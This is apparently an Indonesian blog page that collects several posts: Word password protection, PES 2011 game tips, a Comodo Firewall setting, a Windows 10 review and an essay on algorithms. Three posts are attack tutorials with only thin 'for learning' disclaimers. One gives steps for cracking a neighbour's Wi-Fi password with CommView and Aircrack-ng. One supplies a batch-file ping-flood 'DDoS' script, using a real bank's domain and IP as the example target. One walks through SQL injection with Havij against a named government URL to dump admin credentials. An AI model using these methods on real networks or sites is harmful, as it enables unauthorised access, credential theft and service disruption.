cara membuat password di microsoft word 2013

Posted on 00:35 In:
kali ini saya akan berbagi informasi mengenai cara memproteksi dokumen word anda dengan menggunakan password ,


Terkadang suatu saat kita memiliki suatu dokumen penting atau catatan penting yang mungkin tidak seorangpun boleh mengetahuinya , untuk itu kita perlu membuat proteksi pada dokumen tersebut , salah satu caranya adalah dengan menggunakan fitur encryption pada microsoft word , dengan fitur ini kita dapat membuat dokumen kita membutuhkan password untuk membukanya ,

mari kita simak langkah langkahnya berikut ini ,
1. buka dokumen anda yang ingin di protect
2. setelah itu klik pada tab file

3. dalam tab info silahkan klik menu protect dan klik encrypt with password

4. ketikan password yang anda inginkan

5. setelah itu simpan dokumen anda
6. saat anda membuka dokumen anda kembali , word akan menampilkan menu sebagai berikut ,

selanjutnya anda harus memasukan password yang telah anda buat Description: cara membuat password di microsoft word 2013 Rating: 4.5 Reviewer: Unknown - ItemReviewed: cara membuat password di microsoft word 2013

Cara Mencuri Wifi/HotSpot Tetangga

Posted on 04:09 In:
Hallo, selamat Pagi semuanya, pagi ini saya mau berbagi tips untuk mencuri koneksi Wifi atau Hotspot tetangga nih. Buat agan-agan yang disekitar rumahnya terdeteksi sinyal Wifi, tapi ga bisa konek karena di password-in, nih saya kasih caranya. Software yang digunakan adalah CommView dan Airc.rack-NG .
Perhatian, TS membuat tips ini bukan semata-mata TS mengajak kaskuser semua berbuat jahat. Justru TS sharing agar kaskuser yang punya WIFI bisa koreksi dan memperketat keamanan Wifinya biar ga dicuri orang. TS hanya berniat share ilmu. Jadi tolong jangan menghina TS yang tidak-tidak, terima kasih
Sumber dari tips ada adalah artikel di blog ane sendiri, tentunya disana lebih lengkap disni
Perhatian :
- TS sudah berhasil melakukan dan memang cara nya sulit.
- Klo mentok, jangan selalu tanya TS karena TS sibuk jadi ga selalu sempet jawab pertanyaan
- Harus sabar dan coba cari cari referensi di internet klo mentok.
- terkadang memang ada jaringan Wifi yang ga bisa di hack, jadi cara ini ga menjamin 100% berhasil
Step-step nya :
1. Download dan install software-software yang dibutuhin, yaitu CommView for Wifi dan Airkrack-NG . bisa dicari di internet ato download dari sini
2. Install CommView, copy file cv.exe ke dalam folder install, umumnya C:\Program Files\Commviewwifi
3. Install driver untuk wireless card agan, untuk bantuan bisa lewat opsi "Driver Installation Guide" di tab Hel.
4. Buka tab Rules, pilih "Enable Advanced Rules". tulis "tods=1 and dmac=FF:FF:FF:FF:FF:FF" di box dengan name formula. klik add/edit setelah di namain.
5. Buka Setting -> Options -> Memory Usage , pilih max buffer packets ke 20000 (max). unceklist semua bar cek di bar utama CommView, kecuali bar pertama yang namanya capture data packets
6. Setelah itu, mulai scan jaringan. klo ketemu jaringan wifi nya, klik capture.
7. Coba connect ke jaringan yang dipassword. jika ditanya password, masukin aja sembarang (misal asdasd ato qweqwe1234
8. Udah konek? klo udah, pasti ada tanda segitiga kuning ato limited connectivity kan. balik ke CommView, disana ada banyak packet data
9. Cari packets yang ada nama IP/UDP, ARP REQ, dan lainnya di protocol column kanan. klik kanan di ARP REQ dan pilih "Send Packet". ntar muncul bar kecil. ganti packets per second nya ke 2000, trus send
10. Balik ke CommView lagi, ke tab Rules lagi trus uncek lagi semua rule yang tadi dibuat di awal awal.
11. Ada banyak paket data, save tuh setiap 20000 packet. save dalam format .cap
12. Nah sekarang pke Airkrack-NG nya. Jalanin, trus pilih file .cap tadi. trus cari jaringan yang pingin di hack. cari sampe dapet passwordnya
Description: Cara Mencuri Wifi/HotSpot Tetangga Rating: 4.5 Reviewer: Unknown - ItemReviewed: Cara Mencuri Wifi/HotSpot Tetangga

tips dan trick pes 2011 (ps3)

Posted on 19:03 In:




1. Freekick (presentase goal =99%):
Meskipun ini adalah cara curang (cheats), tapi bolehlah sekedar info.
Caranya: pilih penendang (usahakan penendang memiliki freekick accurasi diatas 80), kemudian tekan tombol start, lalu pilih player setting, geser kursormu menjadi "assisted", artinya biarlah CPU yang mengambil alih, lihatlah CPU mencetak skor untukmu. Setelah goal, geser kembali kursormu seperti semula (bisa unassisted ataupun semi-assisted,sesuai seleramu).
Kondisi yang harus terpenuhi adalah jarak ideal <30m (saya anjurkan lebih dekat lagi, karena ada kemungkinan CPU akan mengumpan bukan menembak langsung).
Bila freekick taker-nya adalah pemain sekelas Del Piero yang memiliki specialisasi bola- bola mati dan kondisi (form) sedang baik (atau bahkan on fire), presentase goalnya bahkan mencapai 99,9%.

2. Menghalau atau menggagalkan freekick lawan
Agar lawan mustahil untuk memasukan bola melalui freekick, tekan rapid kotak (tekan berulang- ulang dengan frekuensi yang cepat), semua pemain dalam pagar betis kita akan melakukan lompatan menghalau bola.
Dalam kondisi lawan memperoleh jarak ideal freekick, ada baiknya pagar betis ditambah (L1+arah atas).
Menurut analisa, "bug" yang bisa meng-kolong (melewati sela- sela) bagar betis telah diperbaiki, jadi kemungkinannya menjadi nol untuk menerobos pagar betis seperti pada PES 2009 yang lalu.

3. Melewati hadangan barisan bek (defender)
Untuk bisa melewati barikade (beberapa pemain musuh mengepung), caranya: tekan tombol arah depan 2x, pemain yang sedang mendribble akan melakukan gerakan special meng-kolong lawan. Ini efektif bila menggunakan pemain yang mempunyai stats exelent dalam mendribble. contoh: pato.
Biasanya cara ini cocok dimainkan oleh user yang gemar melakukan center attack.

4. Skoring memanfaatkan blunder Kiper (salah satu "BUG" PES 2010)
Kondisi yang musti dipenuhi adalah ketika kita melakukan penyerangan yang cenderung spontan (macam counter attack, tetapi tidak mutlak), biasanya serangan yang kita lancarkan dari tengah, perhatikan ketika pemain (kita) yang membawa bola mulai mendekat ke sekitar 1/4 dari sudut kotak penalty terluar secara otomatis kiper lawan akan maju kedepan dengan cara berlari kecil, ketika kiper sudah tidak on-position, maka bergeraklah (lari) serong untuk mencari celah dan melesatkan gol, terlihat jelas kiper akan melakukan tindakan bodoh (blunder) dengan membiarkan bola masuk ke gawang.

terlepas dari konteks diatas, biasanya saya mencetak goal dengan cara berjalan serong menuju tiang gawang (harus berada di dalam kotak penalty lawan), bila posisi kita di sisi kanan maka berlarilah ke kanan, kemudian menahan analog kiri (left stick) dengan arah serong kanan (karena diskripsi yang saya berikan, saya sedang berlari kekanan) lalu shoot, presentase goalnya sangat besar (biasanya bila masuk dengan cara terpental dulu ke kiper lalu masuk atau masuk begitu saja,terkadang mengkolong kiper).
bila dirumuskan: tahan left stick dengan arah serong + Kotak.

5. Corner Kick
Ada yang bilang kalau corner kick punya peluang gol 50:50, padahal presentasenya bisa sangat besar bila kita tahu triknya.
Cara Pertama adalah dengan memberikan umpan datar akurat dengan cara menekan tombol X (power gauge usahakan sama persis seperti saat anda biasa melakukan umpan lambung dengan tombol O) hal ini dilakukan agar kita bisa mengecoh lawan dengan memberikan anggapan pada lawan bahwa kita sedang memberikan umpan lambung, padahal tidak. Lalu teruskanlah umpan ke pemain yang berada didepan mulut gawang (sebelum itu diperlukan satu, dua, beberapa langkah kaki) lalu dengan cepat tekan Kotak (bisa sambil menekan tombol arah untuk mengarahkan bola kesudut yang diinginkan) untuk scoring.
Kesimpulan: corner taker memberi umpan (X) kepada pemain ke-2 lalu pemain meneruskan umpan (X) lalu pemain ke-3 sebagai eksekutor.
Tapi ingat! Ini bisa juga melakukan beberapa umpan (mungkin lebih dari 3) kemudian menunggu pemain eksekutor on-position baru ditembak.

Cara berikutnya adalah memberikan umpan lambung (cara klasik) :
geser posisi penendang 1/3 ke dalam, tunggu pemain yang ada di dalam kotak penalty lawan memperoleh posisi yang bagus lalu tekan O (powergauge =1/2 lebih sedikit) lalu setelah bola melayang ,tekan dan tahan arah (arah luar) untuk memberi efek parabol, lalu tekan rapid kotak + arah (sesuai posisi, lalu arahkan sundulannya).
Dalam kondisi tertentu dan pemain tertentu bisa menempatkan diri dengan cara mem-body untuk mempertahankan posisi untuk menyundul bola, nah inilah yang saya maksud dengan menunggu sampai pemain meperoleh posisi.

Terkadang ada cara corner kick seperti ini:
geser posisi penendang ke luar sedikit saja (relatif) ,tahan tombol arah atas + O (agar umpan lambung tidak terarah atau melayang secara random), efektif untuk tim yang mempunyai kualitas pemain yang unggul dalam duel udara macam Terry. Jangan lupa berikan arah ketika menyundul (dapat) bola agar arah bola terarah kegawang, gunakan juga rapid Kotak.

Untuk menggagalkan cara corner diatas adalah menempatkan salah satu pemain di depan gawang (1/4 tiang terdekat penendang lawan), ini dilakukan untuk mengkover lawan dan memberikan efek pressing agar pemain lawan yang bisa menyundul sekalipun akan tidak akurat.
Cara menggagalkan corner yang diumpan mendatar adalah mengkover (berdiri di depan) lawan yang posisinya paling dekat dengan penendang lawan (biasanya berdiri di dekat tiang terdekat sisi luar gawang kita).

6. Mengumpan di area kosong
Sangat efektif mengumpan ke pemain yang mempunyai kemampuan lari yang cepat (top speed + acceleration) macam david suazo.
Berbeda dengan umpan segitiga yang hanya bisa melewati satu pemain, maka kita gunakan manual pass (analog: right stick).
Caranya:
umpan dengan rigt stick kedepan (lihat area yang kosong) lihat timming, maka pemain yang terdekat dengan bola (kecuali pengumpan) akan beradu sprint dengan bek atau bahkan kiper lawan. Cara ini bisa diaplikasikan di tengah lapangan maupun sisi lapangan, lihat sikon!

Untuk user yang gemar bermain dengan gaya sayap, tempatkan satu winger dengan defensive low (atur di game plan) agar ketika counter attack, pemain ini bisa langsung merespon dan menang posisi. Caranya tekan L1 + right stick + arah kemana area yang dimaksudkan.

Bila sudah sangat terbiasa, menggunakan manual pass bisa dijadikan senjata andalan.

7. Kombinasi umpan satu - dua (one-two pass)
Tips inilah yang membedakan antara master dengan amatir, bila sudah sangat berpengalaman dengan alur bola melalui umpan - umpan. Ketika permainan berlangsung manfaatkan umpan biasa (X) + L1 walaupun CB yang sedang mengumpan ke SB, hal ini dilakukan untuk mengganggu konsentrasi pertahanan lawan karena CB juga bergerak ke depan, kemudian DMF (atau pemain tengah juga), bahkan kalau perlu lakukan L1+X untuk melakukan semua umpan. Sesekali lakukan one-two pass (L1+X, ketika pemain kita dapat posisi tekan X atau Segitiga). Untuk memberikan warna yang lebih baik ke dalam permainan kita, lakukan juga (X+R2) untuk memberikan gerakan yang tidak monoton yaitu mengumpan lalu mengikuti bola bahkan bisa diagonal larinya,kadang bisa lewat belakang pemain yang kita umpan (itulah efek X+R2). Kombinasikan juga dengan tombol Segitiga.
tombol pass yang digunakan= L1 X, X, X R2, Segitiga, L1 Segitiga, Segitiga R2.
Intinya lakukan kombinasi permainan dengan memainkan pola yang susah dibaca lawan dengan tombol pass L1+X, L1+X+X, (L1+X)+(L1+X), L1 X+ Segitiga, X R2+ R2 X, X R2 + Segitiga, danseterusnya. (dituntut kreatifitas anda).
Tambahan, penysunan strategi (tactics dalam gameplan) sangat berpengaruh dalam type permainan seperti ini,jadi efektivitas juga dipengaruhi dari aplikasi gameplan.

8. Penalty Kick
Yang perlu diperhatikan adalah tombol arah nya sudah berbeda dengan yang ada pada PES 2009.
Caranya: check di training mode

9. Goal Jarak Jauh (luar kotak penalty)
Ini mungkin terjadi apabila si penendang punya stats ability yang bagus macam Ronney, atau mungkin bahkan bisa siapa saja. Agar presentase goalnya mencapai 90%, caranya:
Larilah secara diagonal (menahan tombol serong) pastikan sudah ada minimal tiga langkah (usahakan tidak ada pressing yang berarti dari lawan), tetap tahan tombol arah serong lalu tekan Kotak (powergauge= setengah,bisa lebih sedikit saja), setelah bola melambung tekan R2 untuk memberi efek lengkung yang akurat.
  1. Untuk presentase goal yang lebih besar, lakukan dijarak ideal gol, tidak bisa dilakukan di jarak yang memang mustahil untuk goal (dengan pertimbangan Stats=shoot power).

10. Meng-kolong kiper (ketika duel satu lawan satu)
Salah satu hal yang mengejutkan dari PES 2010 ini bagi saya adalah semakin mudahnya kiper dibobol bahkan di-kolong (goal dengan cara bola melewati sela kaki), bahkan blunder.
Cara meng-kolong kiper adalah mudah-mudah sulit (dibutuhkan timing dan feeling, serta insting):
caranya: rahasia

11. Mengkartumerahkan Kiper lawan:
Cara lama menggunakan cancel kick : Kotak(gauge on) + X.
Cara lain : saat berhadapan dengan kiper lawan buang bola dengan menggunakan manual pass (right stick) ke kanan atau kekiri, pokonya agar kiper lawan menabrak pemain kita yang sedang tanpa bola (dibutuhkan timing yang tepat).

12. Men-stop lawan ketika sedang one-on-one (dengan kiper)
Caranya: usahakan agar kiper kita tidak berlari membabi buta kearah lawan, alih- alih menghentikan bola, pemain lawan bisa dengan mudah membaca gerakan kiper kita.
Dengan cara menekan tombol L1 + Segitiga secara sesekali (ingat! bukan menahannya).

13. Cara merebut bola dari lawan secara efektif
Caranya : rahasia

14. Cara menggagalkan crossing lawan disisi lapangan
Tempel ketat pemain lawan yang membawa bola dengan berlari di sampingnya, bila beradu lari dengan winger yang mempunyai kecepatan diatas rata- rata, sesekali tekan R2 dan X, ingat untuk merebutnya tekan X dan bukan menabraknya tanpa X.
Lalu ketika ada indikasi pemain lawan hendak melepas umpas crossing, berdirlah (lari) disamping atau bisa menambahkan tahan tombol X.
Description: tips dan trick pes 2011 (ps3) Rating: 4.5 Reviewer: Unknown - ItemReviewed: tips dan trick pes 2011 (ps3)

Comodo Firewall

Posted on 06:30 In:



Firewall merupakan level keamanan pertama di komputer kita. Firewall akan mengecek data paket yang masuk maupun keluar dari komputer kita dan akan menentukan apakah data itu aman diteruskan atau tidak. Jadi, sangat penting adanya firewall di komputer kita.

Comodo firewall memiliki keunggulan dari firewall bawaan windows maupun firewall dari Internet Security lainnya. Salah satu keunggulan yang saya sukai adalah mampu dan terbukti menghalau ARP attack baik berupa spoofing maupun poisoning. Pengguna netcut pun takkan berkutik dengan adanya fitur ini.

Untuk mengaktifkan fitur anti arp:
1. Buka comodo firewall
2. Klik tab firewall, lalu klik firewall behavior setting
3. Klik tab advance, lalu beri tanda check pada bagian protect the ARP chache

Tool ini free dan mudah digunakan serta dapat di close sewaktu-waktu saat tidak terlalu dibutuhkan.


Dan untuk menambah keamanan berjelajah, anda bisa menggunakan browser comodo dragon.
Description: Comodo Firewall Rating: 4.5 Reviewer: Unknown - ItemReviewed: Comodo Firewall

Cara Membuat DDoS Attack

Posted on 02:18 In:

Kali ini saya akan mempraktekkan DDOS melalui Notepad. Langsung saja, berikut tutorialnya:

LANGKAH 1
Copy code-code dibawah ini :


Code:

    @echo off
    mode 67,16
    title DDOS Attack
    color 0a
    cls
    echo.
    echo DDOS With Batchfile
    echo.
    set /p x=Server-Target:
    echo.
    ping %x%
    @ping.exe 127.0.0.1 -n 5 -w 1000 > nul
    goto Next
    :Next
    echo.
    echo.
    echo.
    set /p m=ip Host:
    echo.
    set /p n=Packet Size:
    echo.
    :DDOS
    color 0c
    echo Attacking Server %m%
    ping %m% -i %n% -t >nul
    goto DDOS



LANGKAH 2:
Buka application notepad dan paste code-code diatas tadi.

LANGKAH 3:
Save file anda seperti dibawah :

File Name : DDoS Attack.bat
Save As Type : All File <--- PENTING

    Quote: bisa disave dgn namafile bebas sesuka bro n sist..
    tapi ingat , File Extensi harus berformat .Bat


Cara-cara menggunakannya :
1. Double click file anda itu.
2. Akan tertera : Server-Target:
Masukkan alamat/url website anda.pastikan tidak ada http:// di depan dan / di belakang url.

    Quote:Contoh :
    Sebelum = http://www.cbbank.com.mm/
    Tukarkan kepada = www[.]cbbank[.]com[.]mm

    *hilangkan tanda '[]'.
    Setelah memasukkan url itu, tekan enter.


LANGKAH 4:
Selepas itu, website itu akan di-ping untuk mendapatkan ip address.Anda memerlukan IP Address itu.

Setelah selesai ping, akan keluar seperti ini :

Pinging http://www.cbbank.coim.mm

[122.248.112.137 with 32 bytes of data:
Reply from 122.248.112.137: bytes=32 time=30ms TTL=56
Reply from 122.248.112.137: bytes=32 time=40ms TTL=55
Reply from 122.248.112.137: bytes=32 time=24ms TTL=56
Reply from 122.248.112.137: bytes=32 time=36ms TTL=56

Ping statistics for 122.248.112.137:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 24ms, Maximum = 40ms, Average = 32ms

122.248.112.137 <----- IP address bagi http://www.cbbank.com.mm

    Quote: cara sama kok untuk web yg lain 

4. Selepas itu, akan terpapar di tool itu : ip Host:
Masukkan saja ip address yg anda dapat tadi.

Contoh :
ip Host:122.248.112.137

dan tekan enter.

5. Pada akhirnya akan keluar pula : Packet Size :
Letakkan letakkan semau anda sebagai POWER !

Contoh :
Packet Size : 10000000 
(packet size sesuai dengan sesuka hati anda)

Dan tekan enter.

6. Akan terpapar : Attacking Server 122.248.112.137

Itu bermakna tool itu sedang menjalankan tugasnya(DDoS).

Jika ingin hasil yang maksimal , harus DDOS dengan beberapa komputer biar cepat down targetnya.

Sekian tutorial ini, agar bisa menjadi bahan pembelajaran bagi para Admin Server untuk selalu meningkatkan keamanan servernya. Salah satunya bisa menggunakan DDOS Protection, dll.
Description: Cara Membuat DDoS Attack Rating: 4.5 Reviewer: Unknown - ItemReviewed: Cara Membuat DDoS Attack

Cara Hack Website Sekolah Dengan Havij

Posted on 02:15 In:

Banyak cara yang digunakan oleh para hacker untuk membobol (hack) suatu website sekolah maupun website apapun dengan caranya sendiri, tapi saya mempunyai cara sendiri menggunakan tool yang saya download dari internet..Oke langsung saja biar gak lama basa-basinya...

  1. Kalo semua cara di atas sudah selesai di ikuti, maka buka tool Havij.
  2. Nah, Sekarang kita cari targetnya. Karena saya belum sempat share Dorknya silahkan search di Google ya :D
  3. Jika target Sudah dapat (http://www.dephut.go.id/index.php?q=hotspot&hid=2054)
  4. Kita masukkan target tersebut kedalam kolom target No 1, terus liat dilangkah No 2, terlihatkan nama databasenya, kemudian kalo udah berhasil klik table yang sudah saya tandai dengan nomer No 3.
  5. Kalo sudah sobat klik, maka tampilannya akan seperti dibawah ini. Lalu kalo sudah, sobat klik lagi Get Tables, liat nih gambar dibawah.
  6. Akan ada banyak sekali table-table yang terbuka. Terus ayo kita tebak dimana letak admin & passwordnya berada. Saya menebak kalo user dan passwordnya ada ditable web_users. Okelah, kita coba table tersebut, kita liat isinya dengan hanya mengklik GetColoums yang terletak disebelah Get Tables yang saya tandai degan No 2.

    7. Selanjutnya tinggal sobat centang data yang ingin sobat ambil. Saya tandai dengan No 1, lalu klik Get Data, Kemudian kita lihat apa yang terjadi.

    8. Ayeee, keliatankan user sama passwordnya, tapi masih terenkripsi dengan MD5. Cara mengenkripsinya mudah kok, karena tools ini juga menyediakan enkripsi untuk MD5.

    9. Yang paling penting sobat tinggal mencari halaman login adminnya, Sobat hanya perlu mengklik Icon yang berjudul Find Admin, kemudian tunggu hingga muncul tulisan I'm IDLE
Description: Cara Hack Website Sekolah Dengan Havij Rating: 4.5 Reviewer: Unknown - ItemReviewed: Cara Hack Website Sekolah Dengan Havij

Windows 10 Review

Posted on 02:03 In:


Hands on: Windows 10 review
Windows 10 3
Windows 10 bisa digunakan di banyak perangkat, mulai dari internet of things sampai server data center enterprise di dunia. Beberapa perangkat ini memiliki layar 4 inci, lainnya adalah 80 inci. Bisa juga di beberapa perangkat yang tidak memiliki layar sama sekali.
"Perangkat-perangkat itu ada yang digenggaman anda, atau mungkin ada yang jaraknya cukup jauh. Di mana saja, di perangkat apa saja, Windows 10 bisa digunakan," ujar Pimpinan Divisi Windows Microsoft, Terry Myerson, Rabu (1/10/14).
Bahkan, pimpinan divisi perangkat Microsoft, Joe Berlfiore mempersempit penjelasan Myerson dengan menyebut Windows 10 bisa digunakan di PC, tablet, ponsel, sampai perangkat rumahan yang masuk kategori internet of things.
Belfiore mengatakan, jika tampilan WIndows 10 mirip dengan Windows 7. Bahkan, bisa dibilang sebagai perpaduan Windows 7 dan 8. Saat ini, pengguna Windows 7 memang lebih banyak ketimbang platform terbaru, Windows 8 yang diluncurkan dua tahun lalu. Untuk itu, Windows 10 lebih dimiripkan Windows 7 untuk memudahkan transisi pengguna, lengkap dengan teknologi sentuh yang masih dipertahankan.
Platform Microsoft sendiri masih banyak digunakan oleh sekitar 1,5 miliar pengguna komputer di dunia.
Riset Forrester menunjukkan, dalam peluncuran Windows 8 di 2012, hanya 20 persen dari pengguna platform Microsoft yang bermigrasi. Banyak pengguna PC yang tidak menyukai teknologi sentuh dan masih mengandalkan menu pop-up tradisional.
Microsoft, saat ini masih menghadapi tantangan berat dari dominasi Apple dan Google. Windows tidak lagi berperan sebagai penghias layar utama di perangkat pengguna. Padahal dominasi Microsoft Windows telah berlangsung selama 10 tahun lamanya. Hingga kini, menurut riset Gartner, Windows hanya digunakan di 14 persen perangkat yang ada di dunia


Description: Windows 10 Review Rating: 4.5 Reviewer: Unknown - ItemReviewed: Windows 10 Review

Posted on 04:23 In:
1.  Apakah Itu Algoritma
Ditinjau dari asal-usul katanya, kata Algoritma sendiri mempunyai sejarah yang aneh. Orang hanya menemukan kata algorism yang berarti proses menghitung dengan angka arab. Anda dikatakan algorist jika Anda menghitung menggunakan angka arab. Para ahli bahasa berusaha menemukan asal kata ini namun hasilnya kurang memuaskan. Akhirnya para ahli sejarah matematika menemukan asal kata tersebut yang berasal dari nama penulis buku arab yang terkenal yaitu Abu Ja’far Muhammad Ibnu Musa Al-Khuwarizmi. Al-Khuwarizmi dibaca orang barat menjadi Algorism. Al-Khuwarizmi menulis buku yang berjudul Kitab Al Jabar Wal-Muqabala yang artinya “Buku pemugaran dan pengurangan” (The book of restoration and reduction). Dari judul buku itu kita juga memperoleh akar kata “Aljabar” (Algebra). Perubahan kata dari algorism menjadi algorithm muncul karena kata algorism sering dikelirukan dengan arithmetic, sehingga akhiran –sm berubah menjadi –thm. Karena perhitungan dengan angka Arab sudah menjadi hal yang biasa, maka lambat laun kata algorithm berangsur-angsur dipakai sebagai metode perhitungan (komputasi) secara umum, sehingga kehilangan makna kata aslinya. Dalam bahasa Indonesia, kata algorithm diserap menjadi algoritma.
2.  Definisi Algoritma

“Algoritma adalah urutan langkah-langkah logis penyelesaian masalah yang disusun secara sistematis dan logis”. Kata logis merupakan kata kunci dalam algoritma. Langkah-langkah dalam algoritma harus logis dan harus dapat ditentukan bernilai salah atau benar. Dalam beberapa konteks, algoritma adalah spesifikasi urutan langkah untuk melakukan pekerjaan tertentu. Pertimbangan dalam pemilihan algoritma adalah, pertama, algoritma haruslah benar. Artinya algoritma akan memberikan keluaran yang dikehendaki dari sejumlah masukan yang diberikan. Tidak peduli sebagus apapun algoritma, kalau memberikan keluaran yang salah, pastilah algoritma tersebut bukanlah algoritma yang baik.
Pertimbangan kedua yang harus diperhatikan adalah kita harus mengetahui seberapa baik hasil yang dicapai oleh algoritma tersebut. Hal ini penting terutama pada algoritma untuk menyelesaikan masalah yang memerlukan aproksimasi hasil (hasil yang hanya berupa pendekatan). Algoritma yang baik harus mampu memberikan hasil yang sedekat mungkin dengan nilai yang sebenarnya.
Ketiga adalah efisiensi algoritma. Efisiensi algoritma dapat ditinjau dari 2 hal yaitu efisiensi waktu dan memori. Meskipun algoritma memberikan keluaran yang benar (paling mendekati), tetapi jika kita harus menunggu berjam-jam untuk mendapatkan keluarannya, algoritma tersebut biasanya tidak akan dipakai, setiap orang menginginkan keluaran yang cepat. Begitu juga dengan memori, semakin besar memori yang terpakai maka semakin buruklah algoritma tersebut. Dalam kenyataannya, setiap orang bisa membuat algoritma yang berbeda untuk menyelesaikan suatu permasalahan, walaupun terjadi perbedaan dalam menyusun algoritma, tentunya kita mengharapkan keluaran yang sama. Jika terjadi demikian, carilah algoritma yang paling efisien dan cepat.
3.  Beda Algoritma dan Program

Program adalah kumpulan pernyataan komputer, sedangkan metode dan tahapan sistematis dalam program adalah algoritma. Program ditulis dengan menggunakan bahasa pemrograman. Jadi bisa disebut bahwa program adalah suatu implementasi dari bahasa pemrograman. Beberapa pakar memberi formula bahwa :

Program = Algoritma + Bahasa (Struktur Data)
Bagaimanapun juga struktur data dan algoritma berhubungan sangat erat pada sebuah program. Algoritma yang baik tanpa pemilihan struktur data yang tepat akan membuat program menjadi kurang baik, demikian juga sebaliknya.
Pembuatan algoritma mempunyai banyak keuntungan di antaranya :
  • Pembuatan atau penulisan algoritma tidak tergantung pada bahasa pemrograman manapun, artinya penulisan  algoritma independen dari bahasa pemrograman dan komputer yang melaksanakannya.
  • Notasi algoritma dapat diterjemahkan ke dalam berbagai bahasa pemrograman.
  • Apapun bahasa pemrogramannya, output yang akan dikeluarkan sama karena algoritmanya sama.
Beberapa hal yang perlu diperhatikan dalam membuat algoritma :
  • Teks algoritma berisi deskripsi langkah-langkah penyelesaian masalah. Deskripsi tersebut dapat ditulis dalam notasi apapun asalkan mudah dimengerti dan dipahami.
  • Tidak ada notasi yang baku dalam penulisan teks algoritma seperti notasi bahasa pemrograman. Notasi yang digunakan dalam menulis algoritma disebut notasi algoritmik.
  • Setiap orang dapat membuat aturan penulisan dan notasi algoritmik sendiri. Hal ini dikarenakan teks algoritma tidak sama dengan teks program. Namun, supaya notasi algoritmik mudah ditranslasikan ke dalam notasi bahasa pemrograman tertentu, maka sebaiknya notasi algoritmik tersebut berkorespondensi dengan notasi bahasa pemrograman secara umum.
  • Notasi algoritmik bukan notasi bahasa pemrograman, karena itu pseudocode dalam notasi algoritmik tidak dapat dijalankan oleh komputer. Agar dapat dijalankan oleh komputer, pseudocode dalam notasi algoritmik harus ditranslasikan atau diterjemahkan ke dalam notasi bahasa pemrograman yang dipilih. Perlu diingat bahwa orang yang menulis program sangat terikat dalam aturan tata bahasanya dan spesifikasi mesin yang menjalannya.
  • Algoritma sebenarnya digunakan untuk membantu kita dalam mengkonversikan suatu permasalahan ke dalam bahasa pemrograman.
  • Algoritma merupakan hasil pemikiran konseptual, supaya dapat dilaksanakan oleh komputer, algoritma harus ditranslasikan ke dalam notasi bahasa pemrograman. Ada beberapa hal yang harus diperhatikan pada translasi tersebut, yaitu :
a.  Pendeklarasian variabel
Untuk mengetahui dibutuhkannya pendeklarasian variabel dalam penggunaan bahasa pemrograman apabila    tidak semua bahasa pemrograman membutuhkannya.
b.  Pemilihan tipe data
Apabila bahasa pemrograman yang akan digunakan membutuhkan pendeklarasian variabel maka perlu hal ini dipertimbangkan pada saat pemilihan tipe data.
c.  Pemakaian instruksi-instruksi
Beberapa instruksi mempunyai kegunaan yang sama tetapi masing-masing memiliki kelebihan dan kekurangan yang berbeda.
d.  Aturan sintaksis
Pada saat menuliskan program kita terikat dengan aturan sintaksis dalam bahasa pemrograman yang akan digunakan.
e.  Tampilan hasil
Pada saat membuat algoritma kita tidak memikirkan tampilan hasil yang akan disajikan. Hal-hal teknis ini diperhatikan ketika mengkonversikannya menjadi program.
f.  Cara pengoperasian compiler atau interpreter.
Bahasa pemrograman yang digunakan termasuk dalam kelompok compiler atau interpreter.
4.  Algoritma Merupakan Jantung Ilmu Informatika

Algoritma adalah jantung ilmu komputer atau informatika. Banyak cabang ilmu komputer yang mengarah ke dalam terminologi algoritma. Namun, jangan beranggapan algoritma selalu identik dengan ilmu komputer saja. Dalam kehidupan sehari-hari pun banyak terdapat proses yang dinyatakan dalam suatu algoritma. Cara-cara membuat kue atau masakan yang dinyatakan dalam suatu resep juga dapat disebut sebagai algoritma. Pada setiap resep selalu ada urutan langkah-langkah membuat masakan. Bila langkah-langkahnya tidak logis, tidak dapat dihasilkan masakan yang diinginkan. Ibu-ibu yang mencoba suatu resep masakan akan membaca satu per satu langkah-langkah pembuatannya lalu ia mengerjakan proses sesuai yang ia baca. Secara umum, pihak (benda) yang mengerjakan proses disebut pemroses (processor). Pemroses tersebut dapat berupa manusia, komputer, robot atau alat-alat elektronik lainnya. Pemroses melakukan suatu proses dengan melaksanakan atau “mengeksekusi” algoritma yang menjabarkan proses tersebut.
Algoritma adalah deskripsi dari suatu pola tingkah laku yang dinyatakan secara primitif yaitu aksi-aksi yang didefenisikan sebelumnya dan diberi nama, dan diasumsikan sebelumnya bahwa aksi-aksi tersebut dapat kerjakan sehingga dapat menyebabkan kejadian.
Melaksanakan algoritma berarti mengerjakan langkah-langkah di dalam algoritma tersebut. Pemroses mengerjakan proses sesuai dengan algoritma yang diberikan kepadanya. Juru masak membuat kue berdasarkan resep yang diberikan kepadanya, pianis memainkan lagu berdasarkan papan not balok. Karena itu suatu algoritma harus dinyatakan dalam bentuk yang dapat dimengerti oleh pemroses. Jadi suatu pemroses harus:
  • Mengerti setiap langkah dalam algoritma.
  • Mengerjakan operasi yang bersesuaian dengan langkah tersebut.

5.  Mekanisme Pelaksanaan Algoritma oleh Pemroses
Komputer hanyalah salah satu pemroses. Agar dapat dilaksanakan oleh komputer, algoritma harus ditulis dalam notasi bahasa pemrograman sehingga dinamakan program. Jadi program adalah perwujudan atau implementasi teknis algoritma yang ditulis dalam bahasa pemrograman tertentu sehingga dapat dilaksanakan oleh komputer.
Kata “algoritma” dan “program” seringkali dipertukarkan dalam penggunaannya. Misalnya ada orang yang berkata seperti ini: “program pengurutan data menggunakan algoritma selection sort”. Atau pertanyaan seperti ini: “bagaimana algoritma dan program menggambarkan grafik tersebut?”. Jika Anda sudah memahami pengertian algoritma yang sudah disebutkan sebelum ini, Anda dapat membedakan arti kata algoritma dan program. Algoritma adalah langkah-langkah penyelesaikan masalah, sedangkan program adalah realisasi algoritma dalam bahasa pemrograman. Program ditulis dalam salah satu bahasa pemrograman dan kegiatan membuat program disebut pemrograman (programming). Orang yang menulis program disebut pemrogram (programmer). Tiap-tiap langkah di dalam program disebut pernyataan atau instruksi. Jadi, program tersusun atas sederetan instruksi. Bila suatu instruksi dilaksanakan, maka operasi-operasi yang bersesuaian dengan instruksi tersebut dikerjakan komputer.
